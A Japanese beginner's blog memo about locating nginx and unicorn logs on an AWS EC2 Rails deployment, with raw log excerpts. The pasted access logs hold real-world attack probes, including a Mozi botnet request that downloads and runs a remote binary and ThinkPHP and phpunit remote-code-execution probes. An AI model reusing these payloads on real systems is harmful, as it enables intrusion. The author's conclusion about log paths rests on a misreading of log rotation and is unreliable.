【本番環境】【備忘録】nginx エラー等のログの出し方について

ローカルで作成したRailsのアプリをデプロイするために、
AWSのサービスである「EC2」と「VPC」を利用しています。

▼(デプロイ編②)世界一丁寧なAWS解説。EC2を利用して、RailsアプリをAWSにあげるまで
https://qiita.com/naoki_mochizuki/items/5a1757d222806cbe0cd1#nginx%E3%81%AE%E8%B5%B7%E5%8B%95

上記記事に沿ってデプロイを進めていきましたが、２週間経っても成功しません。。。
nginxが起動していないので、何らかのエラーがあるはずなのに
コマンド打ってエラーを出力しても、それらしきものが全然出てこない。。。

⇒ようやく、そもそも【ログの出し方】を間違えていたことに気がついたため、
備忘録として残しておきます！


# 今までのログ出しコマンドとその結果
```ruby:nginxアクセスログ
$ sudo vim /var/log/nginx/access.log

115.231.144.30 - - [14/May/2021:15:59:34 +0000] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 3650 "-" "Hello, World" "-"
115.231.144.30 - - [14/May/2021:15:59:36 +0000] "sh+/tmp/gpon80&ipv=0" 400 157 "-" "-" "-"
162.142.125.55 - - [14/May/2021:16:02:05 +0000] "GET / HTTP/1.1" 502 1635 "-" "-" "-"
162.142.125.55 - - [14/May/2021:16:02:06 +0000] "GET / HTTP/1.1" 502 1635 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-"
64.62.197.152 - - [14/May/2021:16:52:10 +0000] "GET / HTTP/1.1" 502 1635 "-" "-" "-"
192.241.214.162 - - [14/May/2021:17:26:01 +0000] "GET /manager/text/list HTTP/1.1" 502 1635 "-" "Mozilla/5.0 zgrab/0.x" "-"
46.249.32.208 - - [14/May/2021:17:34:31 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 502 1635 "http://18.180.71.74:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" "-"
46.249.32.208 - - [14/May/2021:17:34:31 +0000] "" 400 0 "-" "-" "-"
```


```ruby:nginxエラーログ
$ sudo vim /var/log/nginx/error.log
[asami@ip-10-0-0-248 log]$ sudo vim /var/log/nginx/error.log-20210506.gz
2021/05/14 16:52:43 [notice] 32218#0: signal process started
2021/05/14 17:38:36 [notice] 2407#0: signal process started
```

明らかにログが短すぎるし、エラーがどこにも書いてありません。。。。。



# ちゃんとログらしいログが出てくるコマンドと、その実行結果

```
$ sudo vim /var/log/nginx
access.log
access.log-20210506.gz
access.log-20210508.gz
access.log-20210509.gz
access.log-20210510.gz
access.log-20210511.gz
access.log-20210512.gz
access.log-20210513.gz
access.log-20210514.gz
error.log
error.log-20210506.gz
error.log-20210507.gz
error.log-20210508.gz
error.log-20210509.gz
error.log-20210510.gz
error.log-20210511.gz
error.log-20210512.gz
error.log-20210514.gz
```
上記の通り、日毎のログが見られるようになりました！
さっそく一日分ずつ分析・・・

```ruby:nginxアクセスログ(5/6)
$ sudo vim /var/log/nginx/access.log-20210506.gz

27.5.44.64 - - [05/May/2021:05:26:31 +0000] "GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0" 404 3650 "-" "-" "-"
162.62.133.40 - - [05/May/2021:06:24:02 +0000] "GET / HTTP/1.1" 301 5 "-" "-" "-"
161.97.183.131 - - [05/May/2021:06:26:25 +0000] "GET /.env HTTP/1.1" 301 5 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-"
161.97.183.131 - - [05/May/2021:06:26:26 +0000] "POST / HTTP/1.1" 307 5 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-"
13.72.102.159 - - [05/May/2021:06:52:34 +0000] "GET / HTTP/1.1" 301 5 "-" "curl/7.58.0" "-"
89.248.165.163 - - [05/May/2021:07:18:50 +0000] "GET / HTTP/1.1" 301 5 "-" "-" "-"
120.77.171.183 - admin [05/May/2021:07:26:03 +0000] "GET /manager/html HTTP/1.1" 301 5 "-" "-" "-"
167.248.133.37 - - [05/May/2021:07:52:24 +0000] "GET / HTTP/1.1" 301 5 "-" "-" "-"
167.248.133.37 - - [05/May/2021:07:52:24 +0000] "GET / HTTP/1.1" 301 5 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-"
36.14.111.9 - - [05/May/2021:07:56:41 +0000] "GET / HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" "-"
162.142.125.37 - - [05/May/2021:08:50:27 +0000] "GET / HTTP/1.1" 301 5 "-" "-" "-"
162.142.125.37 - - [05/May/2021:08:50:27 +0000] "GET / HTTP/1.1" 301 5 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-"
18.223.203.162 - - [05/May/2021:09:20:01 +0000] "GET /.env HTTP/1.1" 301 5 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-"
18.223.203.162 - - [05/May/2021:09:20:01 +0000] "POST / HTTP/1.1" 307 5 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-"
205.185.122.102 - - [05/May/2021:10:29:00 +0000] "GET /config/getuser?index=0 HTTP/1.1" 301 5 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0" "-"
115.46.110.8 - - [05/May/2021:10:44:44 +0000] "GET / HTTP/1.1" 301 5 "-" "-" "-"
84.62.172.67 - - [05/May/2021:11:09:40 +0000] "GET /pma2011/index.php?lang=en HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36" "-"
45.155.205.181 - - [05/May/2021:11:11:04 +0000] "POST /api/jsonws/invoke HTTP/1.1" 307 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"
45.155.205.181 - - [05/May/2021:11:11:04 +0000] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 307 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"
45.155.205.181 - - [05/May/2021:11:11:04 +0000] "GET /solr/admin/info/system?wt=json HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"
45.155.205.181 - - [05/May/2021:11:11:04 +0000] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"
45.155.205.181 - - [05/May/2021:11:11:05 +0000] "GET /index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"

```

```ruby:nginxアクセスログ(5/8)
$ sudo vim /var/log/nginx/access.log-20210508.gz

59.97.174.155 - - [07/May/2021:14:29:49 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://59.97.174.155:54956/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 502 1635 "-" "Hello, world" "-"
127.0.0.1 - - [07/May/2021:14:43:15 +0000] "GET / HTTP/1.1" 301 5 "-" "curl/7.61.1" "-"
127.0.0.1 - - [07/May/2021:14:43:24 +0000] "GET / HTTP/1.1" 301 5 "-" "curl/7.61.1" "-"

```

```ruby:nginxアクセスログ(5/9)
$ sudo vim /var/log/nginx/access.log-20210509.gz

65.49.20.69 - - [08/May/2021:10:10:41 +0000] "GET / HTTP/1.1" 502 1635 "-" "-" "-"
174.138.18.208 - - [08/May/2021:10:16:03 +0000] "GET / HTTP/1.1" 502 1635 "-" "Mozzila" "-"
92.118.161.49 - - [08/May/2021:10:36:08 +0000] "GET / HTTP/1.1" 301 5 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com" "-"
167.99.211.216 - - [08/May/2021:11:00:01 +0000] "GET / HTTP/1.0" 502 1635 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"
167.99.211.216 - - [08/May/2021:11:13:20 +0000] "GET /_ignition/execute-solution HTTP/1.1" 301 5 "-" "python-requests/2.18.4" "-"
46.249.32.208 - - [08/May/2021:11:57:51 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 307 5 "http://18.180.71.74:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" "-"
46.249.32.208 - - [08/May/2021:11:57:52 +0000] "" 400 0 "-" "-" "-"
128.14.134.134 - - [08/May/2021:12:12:35 +0000] "GET / HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" "-"
161.97.183.131 - - [08/May/2021:14:21:38 +0000] "GET /.env HTTP/1.1" 301 5 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-"
161.97.183.131 - - [08/May/2021:14:21:38 +0000] "POST / HTTP/1.1" 307 5 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" "-"
35.176.56.132 - - [08/May/2021:14:47:47 +0000] "GET / HTTP/1.1" 301 5 "-" "Mozilla/5.0 zgrab/0.x" "-"
61.219.11.153 - - [08/May/2021:15:01:12 +0000] "GET / HTTP/1.1" 400 157 "-" "-"
64.227.3.111 - - [08/May/2021:15:28:51 +0000] "POST /boaform/admin/formLogin HTTP/1.1" 307 5 "http://18.180.71.74:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" "-"
64.227.3.111 - - [08/May/2021:15:28:52 +0000] "" 400 0 "-" "-" "-"
41.191.231.42 - - [08/May/2021:15:34:04 +0000] "GET / HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" "-"
178.175.110.198 - - [08/May/2021:19:28:56 +0000] "POST /HNAP1/ HTTP/1.0" 400 0 "-" "-" "-"
127.0.0.1 - - [08/May/2021:21:18:09 +0000] "GET / HTTP/1.1" 200 732 "-" "curl/7.61.1" "-"



```
・
・
・
・
省略
・
・
・
・

```ruby:nginxエラーログ(5/6)
$ sudo vim /var/log/nginx/error.log-20210506.gz

2021/05/05 12:02:53 [warn] 30383#0: conflicting server name "18.180.71.74" on 0.0.0.0:80, ignored
2021/05/05 12:39:51 [warn] 32426#0: conflicting server name "18.180.71.74" on 0.0.0.0:80, ignored
2021/05/05 12:39:51 [notice] 32426#0: signal process started
2021/05/05 12:39:51 [error] 32426#0: invalid PID number "" in "/run/nginx.pid"
2021/05/05 12:52:27 [warn] 639#0: conflicting server name "18.180.71.74" on 0.0.0.0:80, ignored
2021/05/05 12:52:27 [notice] 639#0: signal process started
2021/05/05 12:52:27 [error] 639#0: open() "/run/nginx.pid" failed (2: No such file or directory)
2021/05/05 13:05:10 [warn] 1370#0: conflicting server name "18.180.71.74" on 0.0.0.0:80, ignored
2021/05/05 13:05:10 [notice] 1370#0: signal process started
2021/05/05 13:05:10 [error] 1370#0: invalid PID number "" in "/run/nginx.pid"
2021/05/05 13:07:48 [warn] 1530#0: conflicting server name "18.180.71.74" on 0.0.0.0:80, ignored
2021/05/05 13:07:48 [warn] 1533#0: conflicting server name "18.180.71.74" on 0.0.0.0:80, ignored
2021/05/05 13:08:26 [warn] 1576#0: conflicting server name "18.180.71.74" on 0.0.0.0:80, ignored
2021/05/05 14:30:37 [emerg] 5970#0: open() "/path/to/nginx.conf" failed (2: No such file or directory)

```

```ruby:nginxエラーログ(5/7)
$ sudo vim /var/log/nginx/error.log-20210507.gz

2021/05/06 14:10:18 [warn] 3502#0: conflicting server name "18.180.71.74" on 0.0.0.0:80, ignored
2021/05/06 14:10:18 [warn] 3506#0: conflicting server name "18.180.71.74" on 0.0.0.0:80, ignored
2021/05/06 14:16:52 [warn] 3562#0: server name "heartful-space.com/" has suspicious symbols in /etc/nginx/conf.d/my_portfolio4.conf:12
2021/05/06 14:16:52 [emerg] 3562#0: unknown directive "server_name　heartful-space.com/" in /etc/nginx/conf.d/rails.conf:7
2021/05/06 14:21:00 [emerg] 3599#0: unknown directive "server_name　heartful-space.com" in /etc/nginx/conf.d/rails.conf:7
2021/05/06 15:10:54 [notice] 3965#0: signal process started
2021/05/06 15:11:20 [notice] 3972#0: signal process started

```

```ruby:nginxエラーログ(5/8)
$ sudo vim /var/log/nginx/error.log-20210508.gz

2021/05/07 14:36:02 [notice] 3451#0: signal process started
2021/05/07 15:23:48 [emerg] 3807#0: "upstream" directive is not allowed here in /etc/nginx/conf.d/my_portfolio4.conf:31
2021/05/07 15:27:35 [emerg] 3853#0: "upstream" directive is not allowed here in /etc/nginx/conf.d/my_portfolio4.conf:31
2021/05/07 15:35:22 [emerg] 3878#0: "upstream" directive is not allowed here in /etc/nginx/conf.d/my_portfolio4.conf:31
2021/05/07 16:17:47 [emerg] 4290#0: "client_max_body_size" directive is duplicate in /etc/nginx/conf.d/rails.conf:9
2021/05/07 16:19:00 [emerg] 4314#0: "client_max_body_size" directive is duplicate in /etc/nginx/conf.d/rails.conf:9
2021/05/07 16:19:26 [emerg] 4322#0: "client_max_body_size" directive is duplicate in /etc/nginx/conf.d/rails.conf:9

```

```ruby:nginxエラーログ(5/9)
$ sudo vim /var/log/nginx/error.log-20210509.gz

2021/05/08 10:32:13 [notice] 3834#0: signal process started
2021/05/08 11:00:01 [crit] 3835#0: *9 connect() to unix:/var/www/rails/my_portfolio4/tmp/unicorn.sock failed (2: No such file or directory) while connecting to upstream, client: 167.99.211.216, server: , request: "GET / HTTP/1.0", upstream: "http://unix:/var/www/rails/my_portfolio4/tmp/unicorn.sock:/"
2021/05/08 17:43:49 [notice] 4433#0: signal process started
2021/05/08 18:36:50 [notice] 3549#0: signal process started
2021/05/08 18:36:50 [error] 3549#0: open() "/run/nginx.pid" failed (2: No such file or directory)
2021/05/08 19:38:42 [emerg] 4506#0: unknown directive "cd" in /etc/nginx/conf.d/my_portfolio4.conf:2

```

```ruby:nginxエラーログ(5/10)
$ sudo vim /var/log/nginx/error.log-20210510.gz

2021/05/09 11:20:20 [error] 11227#0: *4 could not find named location "@unicorn", client: 188.166.70.83, server: , request: "GET / HTTP/1.0"

```

```ruby:nginxエラーログ(5/11)
$ sudo vim /var/log/nginx/error.log-20210511.gz

"/var/log/nginx/error.log-20210511.gz" [noeol] 1L, 161C                                                                      1,1          全て
2021/05/10 14:23:27 [emerg] 20447#0: duplicate upstream "unicorn" in /etc/nginx/conf.d/rails.conf:1
2021/05/10 14:36:49 [notice] 20777#0: signal process started
2021/05/10 15:29:23 [notice] 21382#0: signal process started

```

```ruby:nginxエラーログ(5/12)
$ sudo vim /var/log/nginx/error.log-20210512.gz

2021/05/11 15:06:44 [notice] 3363#0: signal process started

```


```ruby:nginxエラーログ(5/14)
$ sudo vim /var/log/nginx/error.log-20210514.gz

2021/05/13 14:28:11 [notice] 21947#0: signal process started
2021/05/13 14:28:11 [error] 21947#0: open() "/run/nginx.pid" failed (2: No such file or directory)
2021/05/13 14:37:02 [notice] 22007#0: signal process started
2021/05/13 14:37:02 [error] 22007#0: open() "/run/nginx.pid" failed (2: No such file or directory)
2021/05/13 14:41:36 [notice] 22087#0: signal process started
2021/05/13 14:58:38 [notice] 22175#0: signal process started
2021/05/13 14:59:49 [notice] 22182#0: signal process started
2021/05/13 14:59:49 [error] 22182#0: open() "/var/run/nginx.pid" failed (2: No such file or directory)
2021/05/13 15:00:10 [notice] 22194#0: signal process started
2021/05/13 15:00:10 [error] 22194#0: open() "/var/run/nginx.pid" failed (2: No such file or directory)
2021/05/13 15:03:30 [notice] 22217#0: signal process started
2021/05/13 15:03:30 [error] 22217#0: open() "/var/run/nginx.pid" failed (2: No such file or directory)
2021/05/13 15:03:50 [alert] 22082#0: unlink() "/var/run/nginx.pid" failed (2: No such file or directory)
2021/05/13 15:13:56 [notice] 22339#0: signal process started
2021/05/13 15:13:56 [error] 22339#0: invalid PID number "" in "/var/run/nginx.pid"

```


```ruby:unicornログ(全期間)
$ sudo vi /var/www/rails/my_portfolio4/log/unicorn.log

I, [2021-05-04T16:45:51.374358 #7310]  INFO -- : Refreshing Gem list
I, [2021-05-04T16:45:53.511544 #7310]  INFO -- : listening on addr=/var/www/rails/my_portfolio4/tmp/sockets/.unicorn.sock fd=9
I, [2021-05-04T16:45:53.517088 #7310]  INFO -- : master process ready
I, [2021-05-04T16:45:53.521522 #7312]  INFO -- : worker=0 ready
I, [2021-05-04T16:45:53.522770 #7313]  INFO -- : worker=1 ready
I, [2021-05-05T04:19:37.632516 #7310]  INFO -- : reaped #<Process::Status: pid 7312 exit 0> worker=0
I, [2021-05-05T04:19:37.634294 #7310]  INFO -- : reaped #<Process::Status: pid 7313 exit 0> worker=1
I, [2021-05-05T04:19:37.634380 #7310]  INFO -- : master complete
I, [2021-05-05T04:43:27.493213 #7551]  INFO -- : Refreshing Gem list
I, [2021-05-05T04:43:30.223796 #7551]  INFO -- : unlinking existing socket=/var/www/rails/my_portfolio4/tmp/sockets/.unicorn.sock
I, [2021-05-05T04:43:30.223963 #7551]  INFO -- : listening on addr=/var/www/rails/my_portfolio4/tmp/sockets/.unicorn.sock fd=9
I, [2021-05-05T04:43:30.247530 #7551]  INFO -- : master process ready
I, [2021-05-05T04:43:30.253070 #7555]  INFO -- : worker=1 ready
I, [2021-05-05T04:43:30.253508 #7554]  INFO -- : worker=0 ready
I, [2021-05-06T13:26:07.863029 #7551]  INFO -- : reaped #<Process::Status: pid 7554 exit 0> worker=0
I, [2021-05-06T13:26:07.863371 #7551]  INFO -- : reaped #<Process::Status: pid 7555 exit 0> worker=1
I, [2021-05-06T13:26:07.863439 #7551]  INFO -- : master complete
I, [2021-05-06T15:10:40.684478 #3957]  INFO -- : Refreshing Gem list
I, [2021-05-06T15:10:46.922051 #3957]  INFO -- : unlinking existing socket=/var/www/rails/my_portfolio4/tmp/sockets/.unicorn.sock
I, [2021-05-06T15:10:46.922219 #3957]  INFO -- : listening on addr=/var/www/rails/my_portfolio4/tmp/sockets/.unicorn.sock fd=9
I, [2021-05-06T15:10:46.939327 #3957]  INFO -- : master process ready
I, [2021-05-06T15:10:46.943953 #3960]  INFO -- : worker=0 ready
I, [2021-05-06T15:10:46.945229 #3961]  INFO -- : worker=1 ready
I, [2021-05-07T14:10:30.770122 #3957]  INFO -- : reaped #<Process::Status: pid 3960 exit 0> worker=0
I, [2020-05-07T14:10:30.770737 #3957]  INFO -- : reaped #<Process::Status: pid 3961 exit 0> worker=1
I, [2021-05-07T14:10:30.770821 #3957]  INFO -- : master complete
I, [2021-05-07T14:35:51.235962 #3443]  INFO -- : Refreshing Gem list
I, [2021-05-07T14:35:53.728166 #3443]  INFO -- : unlinking existing socket=/var/www/rails/my_portfolio4/tmp/sockets/.unicorn.sock
I, [2021-05-07T14:35:53.728336 #3443]  INFO -- : listening on addr=/var/www/rails/my_portfolio4/tmp/sockets/.unicorn.sock fd=9
I, [2021-05-07T14:35:53.742418 #3443]  INFO -- : master process ready
I, [2021-05-07T14:35:53.746745 #3447]  INFO -- : worker=1 ready
I, [2021-05-07T14:35:53.748069 #3446]  INFO -- : worker=0 ready
I, [2021-05-08T09:03:57.347631 #3443]  INFO -- : reaped #<Process::Status: pid 3446 exit 0> worker=0
I, [2021-05-08T09:03:57.348178 #3443]  INFO -- : reaped #<Process::Status: pid 3447 exit 0> worker=1
I, [2021-05-08T09:03:57.348261 #3443]  INFO -- : master complete
I, [2021-05-08T10:32:02.517721 #3826]  INFO -- : Refreshing Gem list
I, [2021-05-08T10:32:05.086000 #3826]  INFO -- : unlinking existing socket=/var/www/rails/my_portfolio4/tmp/sockets/.unicorn.sock
I, [2021-05-08T10:32:05.086181 #3826]  INFO -- : listening on addr=/var/www/rails/my_portfolio4/tmp/sockets/.unicorn.sock fd=9
```


# 【まとめ】ログを出すときは、どこまでパスを書いて実行するのかが鍵。
```
$ sudo vim /var/log/nginx/access.log
$ sudo vim /var/log/nginx/error.log
```

上記だと全然ログが出てこなかったのに、
下記だとしっかりと出てきました。

```
$ sudo vim /var/log/nginx
または
$ sudo vim /var/log/nginx/access.log-20210506（←見たい日付）.gz
$ sudo vim /var/log/nginx/error.log-20210507（←見たい日付）.gz
```
ちなみにこの結論はnginxにだけ言えることであり、unicornはその限りではないです。

以上です。
やっとエラーが出ている箇所がわかったので、これから解決に向けて頑張ります...！！